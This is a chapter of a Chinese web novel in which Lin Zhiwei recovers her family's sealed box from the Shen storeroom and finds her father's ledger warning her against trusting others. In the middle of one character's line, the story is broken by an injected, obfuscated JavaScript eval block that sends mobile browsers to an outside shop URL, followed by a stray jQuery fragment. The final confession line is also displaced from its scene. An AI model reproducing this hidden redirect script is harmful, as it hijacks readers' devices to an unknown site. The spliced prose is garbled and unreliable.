裴景和把那张旧船单放到桌上时，林知微第一眼看的不是货名，而是右下角那个极小的墨记。
“林四。”
二十一年前，林家送到临江的四只箱子，各有编号。
林一、林二、林三、林四。
后来四箱上船，去向却从此断了。
如今查到的这一只，正是林四。
旧船单背面还有一行后来补上的小字：九月初七，沈宅收。
林知微看了三遍，才问：“谁签收？”
“吴成。”
又是吴成。
屋里一时没人说话。
沈砚舟脸色很难看。吴成替沈老太太接回过他，碰过沈怀礼死后失踪三日的私印，又在三个月后坠井。现在，二十一年前林家的箱子竟然也是他收进沈府的。
一个早已死去的陪房，像一根线，把所有旧事都串在了一起。
“去沈府。”林知微合上船单。
沈砚舟立刻站起来：“我也去。”
“你留下。”
“娘——”
“今天去拿东西，不是去查你十四年前的事。”
林知微看他一眼。
“事情越乱，越要一件一件办。箱子是箱子，你的事是你的事。别混。”
半个时辰后，马车停在沈府门前。
这一次林知微没有从侧门进。
她从正门。
门房看见她，神情明显僵了一下。
从前她是沈家夫人，出入这里二十一年。后来和离，搬走嫁妆，追旧账，拿银子，一次比一次干脆。如今府里下人看见她，已经没人敢再拿“前夫人”三个字轻慢。
沈怀安来得很快。
“你又来做什么？”
林知微把船单放到他面前。
“找一只箱子。”
沈怀安低头，脸色慢慢变了。
“二十一年前的东西，你现在来问我？”
“不是问你。”
林知微道：“我是来查。”
她把另一张林家旧册也放下。
“林四，黑漆铜包角，长三尺二寸，宽一尺八寸。箱盖内侧刻一朵半开的海棠。承平十四年九月初七，由吴成签收入沈府。”
“东西如果不在，你告诉我什么时候出去的，谁领的。”
“如果还在——”
她抬眼。
“我今天带走。”
沈怀安沉默了很久。
“我从没见过。”
“那就查库房。”
“沈家的库房凭什么让你查？”
林知微笑了。
“凭沈家的旧仆签收了林家的东西。”
“你也可以不让我查。”
她把船单收回来一半。
“那我拿这张单子去官府，请官府替我查。”
沈怀安额角跳了一下。
两个人对视片刻。
最后还是他先让开。
“去旧库。”
沈府有三个库房。
正库放现银和贵重器物，东库放布匹器皿，最偏的一间旧库则塞满多年不用的家具、箱笼和旧物。
门一开，一股灰尘扑出来。
林知微站在门口，没有急着进去。
“先拿旧库册。”
管库婆子脸都白了。
“旧、旧册好多年没对过了。”
“没关系。”
林知微语气平静。
“今天开始对。”
她让青黛和两个林家带来的人逐件按册查。
沈怀安站在一旁，脸色越来越难看。
一个时辰。
两个时辰。
直到午后，青黛忽然在最里面喊：“夫人！”
角落里压着一只黑漆箱。
铜包角已经发暗。
尺寸几乎一模一样。
林知微走过去，亲手擦掉箱盖上的灰。
没有锁。
箱盖却被两道后来加上的铁钉封死。
“撬。”
沈怀安忽然开口：“等等。”
林知微看他。
“怎么？”
“既然是在沈府库里找到的，至少先确认是不是沈家的旧物。”
“可以。”
林知微让人把箱子翻过来。
底部有一个很浅的“林”字火印。
再打开旧册。
沈府旧库册上，这只箱子的登记竟然只有四个字——
“旧木杂物。”
没有来源。
没有入库时间。
没有主人。
“现在确认了吗？”
沈怀安不说话。
铁钉被一根根撬开。
箱盖掀起的一瞬，所有人都愣住了。
里面没有金银。
没有珠宝。
甚至没有所谓的林家秘宝。
只有一摞又一摞已经发黄的纸。
最上面是一册港口货单。
下面是船契、仓契、旧商号往来、海路损耗记录。
还有一本极薄的账。
林知微翻开第一页。
父亲的字。
她认得。
——知微若见此册，先看账，不要信人。
她手指停住。
整间旧库安静得只剩纸页翻动声。
第二页只有三行。
顾家可合作，不可尽信。
裴家可借势，不可托底。
沈家……
墨迹在这里断了一下。
下一行却写得极重。
——若此箱已入沈府，说明林家出事以后，有人比你更早动了手。
林知微缓缓抬头。
沈怀安也看见了。
他的脸色第一次真正变了。
这只箱子不是二十一年前随嫁妆送来的。
它是在林家出事以后，被人送进沈府的。
而签收的人，是吴成。
“谁让吴成收的？”林知微问。
沈怀安喉结动了一下。
“我不知道
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17943105|213988||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。”
林知微没有骂他。
她只是继续往下翻。
最后一页夹着一张很小的纸。
上面只有一个地址。
京城南城，槐安巷十七号。
以及一句话。
——若林四仍在，去这里找第四个人。
青黛忍不住问：“第四个人是谁？”
林知微合上账册。
“不知道。”
她转身看向沈怀安。
“箱子我带走。”
这一次，他没有拦。
临出旧库时，沈老太太却扶着人站在门外。
她看见那只箱子，整个人像突然老了十岁。
“原来它还在。”
林知微脚步一停。
“你见过？”
沈老太太闭上眼。
许久，她说：
“见过。”
回到宅子以后，林知微没有因为找到林四就让所有人围着旧箱子转。她先让账房把今日从沈府带回来的每一份纸重新编号、抄录、封存，原件与抄件分开。裴景和问她是不是防沈家反悔，她说不只防沈家。“我连自己的人都防。不是不信，是证据一旦只有一份，谁碰坏了都说不清。”
林四里的船契有三张已经失效，两张仓契却仍能追到现存产业。其中一处旧转运院如今被人占用，另一处早改成民宅。林知微没有一看见父亲的旧契就喊着收回来，而是先让人查二十一年间有没有合法转卖。她已经吃够了别人拿一句“本来就是我们的”来压人的亏，所以轮到自己时，也不肯这么做。
当晚她还照常看了春和的生产表。六件试样进入最后复检，青鹭埠的药材仓修到七成。青黛忍不住问她，找到父亲亲笔账册怎么还能看这些琐事。林知微只说：“因为父亲给我留后路，不是让我从此只活在他留下的秘密里。”这句话说完，她自己也安静了片刻。二十一年前她失去娘家，如今终于能把“林家的女儿”和“林知微自己”分开。
临睡前，林知微又把当天发生的事按“已经证实、尚待核验、只是猜测”分成三栏。她现在越来越依赖这个办法。最容易把人带偏的不是没有线索，而是线索太多以后，忍不住把猜测当成答案。她宁愿慢一点，也不愿为了一个漂亮的真相把证据硬拼成自己想看的样子。
第二日清晨，她仍按原来的时辰起身看三处生意的日报。哪家铺子少了一笔货、哪个仓多花了人工、哪名掌柜临时改了交期，都比“惊天秘密”更具体。她很清楚，旧案最后无论翻出什么，都不能替她过日子。真正让她不再害怕失去沈家、顾家或任何人的，是这些每天一点点长出来的东西。
她也开始有意识地把事情交给别人。过去在沈府，她什么都亲自扛，是因为没人真正把她的辛苦当成本。如今她反而学会付钱、定责、授权。能花银子请人做的，就不拿自己的命去填。她要的从来不是证明自己一个女人能扛下所有，而是终于有资格决定什么该自己做，什么可以让别人做。
“二十一年前，就是我让吴成把它藏进旧库的。”